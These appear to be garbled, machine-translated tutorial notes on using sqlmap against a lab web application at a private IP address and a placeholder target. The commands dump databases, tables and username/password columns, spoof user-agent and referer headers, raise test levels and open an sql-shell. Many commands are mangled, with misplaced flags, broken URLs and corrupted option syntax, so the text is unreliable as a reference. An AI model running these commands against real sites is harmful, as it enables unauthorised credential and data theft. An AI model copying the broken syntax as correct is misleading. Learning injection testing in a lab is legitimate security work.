If there sql injection, data acquisition process of
acquiring database
sqlmap -u " http://192.168.120.249/baji/vul/sql/show1.php?id=1 " --dbs
get the current database
sqlmap -u " HTTP: // 192.168.120.249/baji/vul/sql/show1.php?id=1 "--current-db
get tables in the database
sqlmap -u" http://192.168.120.249/baji/vul/sql/show1.php? =. 1 ID "-D Baji --tables
acquired database table columns
SqlMap -u" http://192.168.120.249/baji/vul/sql/show1.php?id=1 "-D -T Baji Users - columns
acquiring the data table
SqlMap -u " http://192.168.120.249/baji/vul/sql/show1.php?id=1 " -D -T Baji Users Users -C "username, password" --dump
display 5 data
SqlMap -u " http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji -T users -C users “username ,password” --dump --start=1 --stop=5
Setting http packets associated parameters
-data
behind the POST data is data submission, sqlmap would like to detect the same detection GET POST parameters to submit the last parameter
sqlmap -u " http://192.168.120.249/baji/login.php " --data = "username = 111111 & password = 111111"
-Cookie
when the web need to log in, you need to get cookie parameters
sqlmap -u " http://192.168.120.249/baji/login.php/?id=1 " --cookie = "..."
-User-agent ****
can fake user-agent value
SqlMap -u " http://www.target.com " --level --user-Agent = =. 3 "AAAAAA" --dbs
-Random-agent
randomly generates user-agent header from sqlmap / txt / user-agents.txt in
SqlMap -u " http://www.target.com " =. 3 --random --level-Agent --dbs
**** -referer
SqlMap can be forged in the referer http request
SqlMap -u " http://www.target.com/?id=1 " --referer = " http://www.baidu.com "
-Delay
can set the delay between two http requests is set to 1 when the 1s, default is no delay
-delay = 10 6 illustrate one minute request
-Timeout
set http requests exceed the number of seconds for the timeout, default 30 seconds
Tests if the specified parameters * ** (Interview ask)
-p
sqlmap default test GET and POST parameters,
-Level greater than or equal to 2 test http cookie header value,
-Level than or equal to the value of 3 test user-agent and http referer header
-p "ip, user-agent"
-Skip
when a great level, can not skip the test parameters
-skip = "user-agent, referer "
Level detection (where the sqlmap -r)
by default. 1
Level =. 1: Use SqlMap payload can be seen in xml / payloads.xml may also add their own payload
Level> = 2: Test cookies the HTTP
Level> =. 3: - Agent-test the User, the Referer
Level =. 5: test HTTP Host
Detecting the level of risk ***
-risk
-risk 1 (default): Most Test Test statement
-risk 2 increases based on time-tested statement
-risk 3 increase OR statements SQL injection test
-Prefix
injection payload string prefix
SqlMap -u " http://192.168.120.249/baji/vul/sql/show1.php?id=1 " --prefix = " '))"
suffix
SqlMap -u " HTTP: / /192.168.120.249/baji/vul/sql/show1.php?id=1 "--suffix =" ')) - "
-Sql-query
query database
sqlmap -u " http://192.168.120.249/baji/vul/sql/show1.php?id=1 " the --sql-Query = "the SELECT * from the Users"
-Sql-shell
rebound sqlshell similar sql query is
-sql-query
sqlmap -u “http://192.168.120.249/baji/vul/sql/show1.php?id=1” --sql-shell
sql语句
sqlmap -u target URL
-R & lt REQUESTFILE (requestFile) loaded from a file, the HTTP request
-v show details default 1
0. serious errors, and displays only information python.
1, also displays the basic information and the alarm information
2, while the debug information display
3, display simultaneously injected payload
. 4, http request while displaying
5, while the display http response header
6, while the display page Http response
-data = "submitted to post parameter, multiple parameters & Links "
-delay can set the delay between the two http requests
-timeout can set an http request exceeds the determination of the long timeout, the default is 30 seconds
-p specify the parameters you want to test
-level
There are five levels, the default is 1, payload sqlmap use can be seen in xml / payloads.xml in, you can also add your own payload in accordance with the appropriate format.
level> = 2, when will test HTTP Cookie.
level> = 3 test time will HTTP User-Agent / Referer head.
When level = 5 will test HTTP Host.
-Risk default is 1 will test most of the test statement, statement 2 will increase based on the test of time,
-dbs all databases
-tables -D -T to specify the table listed in the table for the specified database --columns --count obtain column data acquired -C read several lines of data (e.g. -C "username, password") --dump export data